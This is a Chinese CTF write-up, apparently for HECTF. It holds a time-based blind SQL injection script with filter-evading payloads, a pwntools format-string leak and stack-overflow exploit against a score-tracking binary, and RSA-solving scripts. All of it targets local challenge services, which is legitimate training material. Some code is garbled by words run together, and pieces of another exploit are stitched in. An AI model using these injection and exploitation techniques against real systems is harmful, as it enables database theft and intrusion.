index 页面的 password 存在 sql 注入,本来想出弱密码的,结果没注意到这里也能打注入,被 sqlmap 一把梭了。
首先万能密码登陆之后,用 group by 确定字段数,接着这里 可以用 loadfile 来快速出 flag。当然,这是建立在 flag 的文件 确实在根目录并且名字确实是 flag,而且存在其他限制,成 功逃课的可能性并不是很大,这里因为同时存在两个原因导致了非预期,一是因为题目部署到平台的时候有个参数忘记删了,这个参数导致了 flag 会被写入 /flag,另外,题目测试的时候,var_dump 我忘记删了,会把信息给一同打印出来,就导致了这个题有回显,我的锅啊。
temp = "NO,Hacker" a = [] for i in lst: url = "http://127.0.0.1/worker.php" data = {"name":i} rsp = post(url, data=data) if temp in rsp.text: a.append(i) print(a)
# 数据库长度为:7 defdb_name_len(): i = 1 whileTrue: payload = "g01den'/**/or/**/if((select/**/length(database()))/**/like/**/{},sleep(20),sleep(0))#".format(i) data = {"name":payload} # print(payload) time.sleep(0.3) if istime(data) == "timeout": print("数据库长度为:%d"%i) return i i += 1
#数据库名为greatsql defdb_name(): name = "" for i inrange(1,8): for j in alpha: payload = "g01den'/**/Or/**/if(substr(database(),{},1)/**/like/**/'{}',sLeep(20),sLeep(0))#".format(i,j) data = {"name": payload} time.sleep(0.3) if istime(data) == "timeout": name += j break print("数据库的名字是"+name) return name
# 数据库的个数为4 defdb_name_count(): i = 1 whileTrue: payload = "g01den'/**/Or/**/if((seLect/**/COUNT(database_name)/**/fRom/**/mysql.innodb_table_stats)/**/like/**/{},sLeep(20),sLeep(0))#".format(i) data = {"name": payload} # print(payload) time.sleep(0.3) if istime(data) == "timeout": print("数据库的个数为"+str(i)) return i i += 1
# [10, 5, 5, 7] defdb_name_len_list(): name_len_list = [] for i inrange(0,4): for j inrange(0,100): payload = "g01den'/**/Or/**/if((select/**/length(database_name)/**/from/**/mysql.innodb_table_stats/**/limit/**/{},1)/**/like/**/{},sleep(20),sleep(0))#".format(i,j) data = {"name": payload} # print(payload) time.sleep(0.3) if istime(data) == "timeout": name_len_list.append(j) break print(name_len_list) return name_len_list
# 上一个查询结果为四次,所以手动查四次,没跑完一次,修改limit后面的参数,以及第一层for循环的参数 # flag1shere # mysql # users # workers defdb_name_list(): name = "" for i inrange(1,8): for j in alpha: payload = "g01den'/**/Or/**/if((select/**/substr(database_name,{},1)/**/from/**/mysql.innodb_table_stats/**/limit/**/3,1)/**/like/**/'{}',sLeep(20),sLeep(0))#".format(i,j) data = {"name": payload} # print(payload) time.sleep(0.3) if istime(data) == "timeout": name += j time.sleep(2) break print(name) return name
# 当前数据库的表有2 deftb_count(): i = 1 whileTrue: payload = "g01den'/**/Or/**/if((select/**/count(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/'flag1shere')/**/like/**/{},sleep(20),sLeep(0))#".format(i) data = {"name": payload} # print(payload) time.sleep(0.3) if istime(data) == "timeout": print("当前数据库的表有"+str(i)) return i i += 1
# 因为测出来有两个表,所以需要查两次 # 当前数据库表名长度为36 # 当前数据库表名长度为8 deftb_name_len(): i = 0 whileTrue: payload = "g01den'/**/Or/**/if((select/**/length(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/'flag1shere'/**/limit/**/0,1)/**/like/**/{},sleep(20),sLeep(0))#".format(i) data = {"name": payload} # print(payload) time.sleep(0.5) if istime(data) == "timeout": print("当前数据库表名长度为" + str(i)) return i i += 1
# 因为存在两张表,所以得查两次 # flag_is_in_flag1shere_loockhere_flag # flag deftb_name(): name = "" for i inrange(1,37): for j in alpha: payload = "g01den'/**/Or/**/if((select/**/substr(table_name,{},1)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/'flag1shere'/**/limit/**/0,1)/**/in/**/('{}'),sleep(20),sleep(0))#".format(i,j) data = {"name": payload} # print(payload) time.sleep(0.5) if istime(data) == "timeout": print(j,end="") name += j break print(name) return name
# 数据库的数据个数为1 defflag_count(): i = 1 whileTrue: payload = "g01den'/**/or/**/if((select/**/count(flag)/**/from/**/flag1shere.lookhere)/**/like/**/{},sleep(20),sleep(0))#".format(i) data = {"name": payload} time.sleep(0.3) if istime(data) == "timeout": print("数据库的数据个数为"+str(i)) return i i += 1
# flag的长度为32 defflag_name_len(): i = 0 whileTrue: payload = "g01den'/**/or/**/if((select/**/length(flag)/**/from/**/flag1shere.lookhere)/**/like/**/{},sleep(20),sleep(0))#".format(i) data = {"name": payload} time.sleep(0.3) if istime(data) == "timeout": print("flag的长度为" + str(i)) return i i += 1
# hectf{fl4g_1s_h5r5_n1ce_try_4_u} defflag_get(): flag = "" for i inrange(1,34): for j in alpha: payload = "g01den'/**/or/**/if((select/**/substr(flag,{},1)/**/from/**/flag1shere.lookhere)/**/in/**/('{}'),sleep(20),sleep(0))#".format(i,j) data = {"name": payload} print(payload) time.sleep(0.5) if istime(data) == "timeout": flag += j print(flag) break print(flag) return flag
str_12 = "abcdefghijklmnopqrstuvwxyz" digit = "0123456789" str_4 = """ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$&'()*+,-./:;<=>?@[\]^_`{|}~""" withopen("dict.txt","w") as f: for i in str_12: for j in str_12: for k in digit: for m in digit: for n in str_4: dic =i+j+k+m f.write(dic+"\n")
g01den@MSI:/mnt/c/Users/20820/Downloads/attachment$ checksec pwn [*] '/mnt/c/Users/20820/Downloads/attachment/pwn' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Welcome to the Arcaea Query developed by g01den, which is currently in the development stage ___ / | ______________ ____ ____ _ / /| | / ___/ ___/ __ `/ _ \/ __ `/ / ___ |/ / / /__/ /_/ / __/ /_/ / /_/ |_/_/ \___/\__,_/\___/\__,_/ If you find any questions, please do not contact g01den for resolution I would like to know your complete PTT (Potential Value), would it be convenient for you to tell me?
这里首先是让我们输入自己的定数,之后做啥处理没静态不清楚,随便输入一个 12 看看:
1 2 3 4 5 6 7 8 9 10
10 Come on, the flowers are purple and about to turn red. You will step onto the ladder of the big shots =======Please select the following options to use the relevant functions======== 1. If the score is qualified, it will be stored in B30 2. Calculate single PTT 3. Calculate player PTT through b30 4. Give your favorite song a vote 5. View voted songs 6. Output all content of b30 7. Exit the system
大概有啥用应该从字面上应该能懂:
功能键 1 是算歌曲分数和单曲 ptt 然后加入 b30,具体逻辑是否正确我不是很清楚,但测试的时候没啥太大的问题。
=======Please select the following options to use the relevant functions======== 1. If the score is qualified, it will be stored in B30 2. Calculate single PTT 3. Calculate player PTT through b30 4. Give your favorite song a vote 5. View voted songs 6. Output all content of b30 7. Exit the system 1 Please enter the exact number of songs you want to query:11.5
Please enter your score for this spectrum:10000000
The single PTT is 13.500000, you still need to keep working hard. Even if you PM, it's the same. You can't be proud anymore =======Please select the following options to use the relevant functions======== 1. If the score is qualified, it will be stored in B30 2. Calculate single PTT 3. Calculate player PTT through b30 4. Give your favorite song a vote 5. View voted songs 6. Output all content of b30 7. Exit the system 6 rating = 13.500000,music = 11.500000 =======Please select the following options to use the relevant functions======== 1. If the score is qualified, it will be stored in B30 2. Calculate single PTT 3. Calculate player PTT through b30 4. Give your favorite song a vote 5. View voted songs 6. Output all content of b30 7. Exit the system 3 Your PTT is13.500000 =======Please select the following options to use the relevant functions======== 1. If the score is qualified, it will be stored in B30 2. Calculate single PTT 3. Calculate player PTT through b30 4. Give your favorite song a vote 5. View voted songs 6. Output all content of b30 7. Exit the system 3 Your PTT is13.500000 =======Please select the following options to use the relevant functions======== 1. If the score is qualified, it will be stored in B30 2. Calculate single PTT 3. Calculate player PTT through b30 4. Give your favorite song a vote 5. View voted songs 6. Output all content of b30 7. Exit the system 1 Please enter the exact number of songs you want to query:11.3
Please enter your score for this spectrum:10000000
The single PTT is 13.300000, you still need to keep working hard. Even if you PM, it's the same. You can't be proud anymore =======Please select the following options to use the relevant functions======== 1. If the score is qualified, it will be stored in B30 2. Calculate single PTT 3. Calculate player PTT through b30 4. Give your favorite song a vote 5. View voted songs 6. Output all content of b30 7. Exit the system 1 Please enter the exact number of songs you want to query:11.2
Please enter your score for this spectrum:10000000
The single PTT is 13.200000, you still need to keep working hard. Even if you PM, it's the same. You can't be proud anymore =======Please select the following options to use the relevant functions======== 1. If the score is qualified, it will be stored in B30 2. Calculate single PTT 3. Calculate player PTT through b30 4. Give your favorite song a vote 5. View voted songs 6. Output all content of b30 7. Exit the system 3 Your PTT is13.333333 =======Please select the following options to use the relevant functions======== 1. If the score is qualified, it will be stored in B30 2. Calculate single PTT 3. Calculate player PTT through b30 4. Give your favorite song a vote 5. View voted songs 6. Output all content of b30 7. Exit the system 3 Your PTT is13.333333 =======Please select the following options to use the relevant functions======== 1. If the score is qualified, it will be stored in B30 2. Calculate single PTT 3. Calculate player PTT through b30 4. Give your favorite song a vote 5. View voted songs 6. Output all content of b30 7. Exit the system 3 Your PTT is13.333333 =======Please select the following options to use the relevant functions======== 1. If the score is qualified, it will be stored in B30 2. Calculate single PTT 3. Calculate player PTT through b30 4. Give your favorite song a vote 5. View voted songs 6. Output all content of b30 7. Exit the system 6 rating = 13.200000,music = 11.200000 rating = 13.300000,music = 11.300000 rating = 13.500000,music = 11.500000
=======Please select the following options to use the relevant functions======== 1. If the score is qualified, it will be stored in B30 2. Calculate single PTT 3. Calculate player PTT through b30 4. Give your favorite song a vote 5. View voted songs 6. Output all content of b30 7. Exit the system 4 You can vote for what you like. You can input the name of your favorite song and cast your valuable vote You can vote 3 times, you can vote other songs, and you can't vote for the same song again. There won't be any problems if you vote, anyway, it's useless to vote (=_=!!!)testify Your vote was for testify . Thank you for your affirmation of this spectrum, and I hope you can score smoothly =======Please select the following options to use the relevant functions======== 1. If the score is qualified, it will be stored in B30 2. Calculate single PTT 3. Calculate player PTT through b30 4. Give your favorite song a vote 5. View voted songs 6. Output all content of b30 7. Exit the system 5 The name of the song you voted for is: testify
int __cdecl main(int argc, constchar **argv, constchar **envp) { longdouble v3; // fst7 int v5; // [esp-Ah] [ebp-20h] int v6; // [esp-6h] [ebp-1Ch] __int16 v7; // [esp+0h] [ebp-16h] BYREF __int16 *v8; // [esp+2h] [ebp-14h] BYREF void *v9; // [esp+6h] [ebp-10h] int v10; // [esp+Ah] [ebp-Ch] int *p_argc; // [esp+Eh] [ebp-8h]
p_argc = &argc; v10 = 0; v9 = malloc(0xCu); init(); hello(); *((_DWORD *)v9 + 2) = 0; printf("I would like to know your complete PTT (Potential Value), would it be convenient for you to tell me?"); fflush(stdin); __isoc99_scanf("%f", &v8, v5, v6); compare(*(float *)&v8); do { puts("=======Please select the following options to use the relevant functions========"); puts("1. If the score is qualified, it will be stored in B30"); puts("2. Calculate single PTT"); puts("3. Calculate player PTT through b30"); puts("4. Give your favorite song a vote"); puts("5. View voted songs"); puts("6. Output all content of b30"); puts("7. Exit the system"); fflush(stdin); v8 = &v7; ((void (__stdcall *)(constchar *))__isoc99_scanf)("%d"); switch ( v7 ) { case1: setB30(v9); break; case2: calculateMusic(v9, 0); break; case3: v3 = pttCalculate(v9); printf("Your PTT is%f\n", (double)v3); break; case4: vote(); break; case5: output_vote(p_argc); break; case6: test(v9); break; case7: v10 = 1; break; default: break; } } while ( v10 != 1 ); puts("Exit the program"); freeNode(v9); puts("Exit successful"); puts("Thank you for using this scoring system"); puts("See you"); return0; }
intvote() { if ( votes > 2 ) { puts("You have already cast 3 times, you cannot cast anymore"); returnputs("If you still want to vote, I suggest restarting this system, as it doesn't have a memory function anyway "); } else { puts("You can vote for what you like. You can input the name of your favorite song and cast your valuable vote"); printf( "You can vote 3 times, you can vote other songs, and you can't vote for the same song again. There won't be any pr" "oblems if you vote, anyway, it's useless to vote (=_=!!!)"); fflush(stdin); read(0, &name, 0x60u); fflush(stdin); printf( "Your vote was for %s. Thank you for your affirmation of this spectrum, and I hope you can score smoothly\n", &name); return ++votes; } }
这里有个 read:
1
read(0, &name, 0x60u);
回去一下,output_vote 函数中,将 name 变量塞进了 dest 里,但 dest 似乎不够大,存在栈溢出,但 gdb 调一下之后,发现其实长度不是特别大,不够 ROP(可能稍微大了,不过懒得改了),这里就可以打栈迁移了,随意,不过,预期解是 libc,常规 libc,因为多找找,能找到这个函数:
puts("You cannot call this function unless you have authorization"); puts("So?How are you?"); read(0, buf, 0x30u); if ( strcmp(buf, "g01den") ) { puts("NO,you can't do it"); exit(0); } puts("OK,Only I can give myself advice"); puts("plz input the count of your advice"); fflush(stdin); __isoc99_scanf("%d", &nbytes, v1, v2); if ( (int)nbytes > 256 ) { puts("No ,don't hack"); exit(0); } fflush(stdin); return read(0, v4, nbytes); }
这个函数是我预留的一个后门算是后门吧,想办法劫持数据流过来吧,不过得先泄露 main。
main 的某个偏移是 %23$p ,这里泄露出来的是这个地址:
1 2
.text:0000146A call output_vote ; jumptable 00001414 case 5 .text:0000146F jmp short _L3 ; jumptable 00001414 default case, case 0
defexp(): io.recvuntil(b"I would like to know your complete PTT (Potential Value), would it be convenient for you to tell me?") io.sendline(b"11.0") io.recvuntil(b"7. Exit the system\n") io.sendline(b"4") io.recvuntil(b"problems if you vote, anyway, it's useless to vote (=_=!!!)") io.sendline(b"AAAAAAAA%23$p") io.recvuntil(b"7. Exit the system") io.sendline(b"5") io.recvuntil(b"AAAAAAAA") main_146F = io.recv(10) main_addr = hex(int(main_146F,16) - 456) log.success("main_146F = " + str(main_146F.decode())) log.success("main_addr = " + str(main_addr)) offset = 0x4c io.recvuntil(b"7. Exit the system\n") io.sendline(b"4") io.recvuntil(b"problems if you vote, anyway, it's useless to vote (=_=!!!)")
deffree(idx): io.sendlineafter(b">>",b"2") io.sendlineafter(b"plz input index you want to delete(index from 0) :",str(idx))
defedit(idx,descSize,desc): io.sendlineafter(b">>",b"3") io.sendlineafter(b"plz input index you want to delete(index from 0) :",str(idx)) io.sendlineafter(b"plz input max size you want to change to:",str(descSize)) io.sendafter(b"plz input description:",desc)
defshow(): io.sendlineafter(b">>",b"4")
io.recvuntil(b"plz enter your username:") io.sendline(b"g01den")
.rodata:00000000000021BF aWrongValue db 'Wrong Value',0 ; DATA XREF: sub_17A7+110↑o .rodata:00000000000021CB aCurruntValue db 'Currunt Value',0 ; DATA XREF: sub_17A7+149↑o
from Crypto.Util.number import * from gmpy2 import * import random import math
n = 211174039496861685759253930135194075344490160159278597570478160714793843648384778026214533259531963057737358092962077790023796805017455012885781079402008604439036453706912819711606916173828620000813663524065796636039272173716362247511054616756763830945978879273812551204996912252317081836281439680223663883250992957309172746671265758427396929152878633033380299036765665530677963287445843653357154379447802151146728382517702550201 c = 191928992610587693825282781627928404831411364407297375816921425636703444790996279718679090695773598752804431891678976685083991392082287393228730341768083530729456781668626228660243400914135691435374881498580469432290771039798758412160073826112909167507868640830965603769520664582121780979767127925146139051005022993085473836213944491149411881673257628267851773377966008999511673741955131386600993547529438576918914852633139878066 e = 1009*7 p = 31160882390461311665815471693453819123352546432384109928704874241292707178454748381602275005604671000436222741183159072136366212086549437801626015758789167455043851748560416003501637268653712148286072544482747238223 q = 6776895366785389188349778634427547683984792095011326393872759455291221057085426285502176493658280343252730331506803173791893339840460125807960788857396637337440004750209164671124188980183308151635629356496128717687
defonemod(e, q): p = random.randint(1, q-1) while(powmod(p, (q-1)//e, q) == 1): # (r,s)=1 p = random.randint(1, q) return p
defAMM_rth(o, r, q): # r|(q-1 assert((q-1) % r == 0) p = onemod(r, q)
t = 0 s = q-1 while(s % r == 0): s = s//r t += 1 k = 1 while((s*k+1) % r != 0): k += 1 alp = (s*k+1)//r
a = powmod(p, r**(t-1)*s, q) b = powmod(o, r*a-1, q) c = powmod(p, s, q) h = 1
for i inrange(1, t-1): d = powmod(int(b), r**(t-1-i), q) if d == 1: j = 0 else: j = (-math.log(d, a)) % r b = (b*(c**(r*j))) % q h = (h*c**j) % q c = (c*r) % q result = (powmod(o, alp, q)*h) return result
defAMM_Solution(m, q, rt, cq, e): mp = [] for pr in rt: r = (pr*m) % q # assert(pow(r, e, q) == cq) mp.append(r) return mp
n = 404647938065363927581436797059920217726808592032894907516792959730610309231807721432452916075249512425255272010683662156287639951458857927130814934886426437345595825614662468173297926187946521587383884561536234303887166938763945988155320294755695229129209227291017751192918550531251138235455644646249817136993
deft(a, b, k): if k == 77: if a*b == n: print(a, b) return for i inrange(10): for j inrange(10): a1 = a + i*(10**k) + j*(10**(154-k)) b1 = b + j*(10**k) + i*(10**(154-k)) if a1*b1 > n: continue if (a1+(10**(154-k)))*(b1+(10**(154-k))) < n: continue if ((a1*b1)%(10**(k+1))) != (n%(10**(k+1))): continue t(a1, b1, k+1)
for i inrange(10): t(i*(10**77), i*(10**77), 0)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
import base64
from Crypto.Util.number import inverse, long_to_bytes
p = 39316409865082827891559777929907275271727781922450971403181273772573121561800306699150395758615464222134092274991810028405823897933152302724628919678029201 q = 10292087691982642720325133979832850482001819947229043122246451685759305199660300816512137527737218130417905422918772717257270992977795519872828056890461393 c = 365683379886722889532600303686680978443674067781851827634350197114193449886360409198931986483197030101273917834823409997256928872225094802167525677723275059148476025160768252077264285289388640035034637732158021710365512158554924957332812612377993122491979204310133332259340515767896224408367368108253503373778 e = 65537
n=p*q phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) m = long_to_bytes(m) m = base64.b64decode(m) print(m) #b'HECTF{I_rea1ly_l0ve_c2ypto!}'
n 02820101 00bddb9913778d2315449b587fbd7f6e41944d1c9c5484c9b01fbf534493355cf88489cbf9630f4299bb4dbb84df7bd6607b7a578f84e4c6d6a70f506c16a4311b1508e3975db71e71d6d2d17dd75b9c23e2d437bcf7f5d9506e763c7122a576fd5c15905ab45feba20a241286285b8ba5d6dbd1b7d0ce975ab74eae338fe0dd5a194d02918e4f0ad6d160f1b730743fc2c8eb74db01089d210d50c5aa1f259793b512b26a8f3e62cc6a95e9cef65e5d49e9e66d352ddbb1408fa9fe5b29a1642c61d2c4d32c66c56dd6fa3639b2146b1f5929896abab4b1ed35ecf57dd630cecac15fcc6b743f97f086f2c6040e66e91e920531ba612be1927b6754525e08e519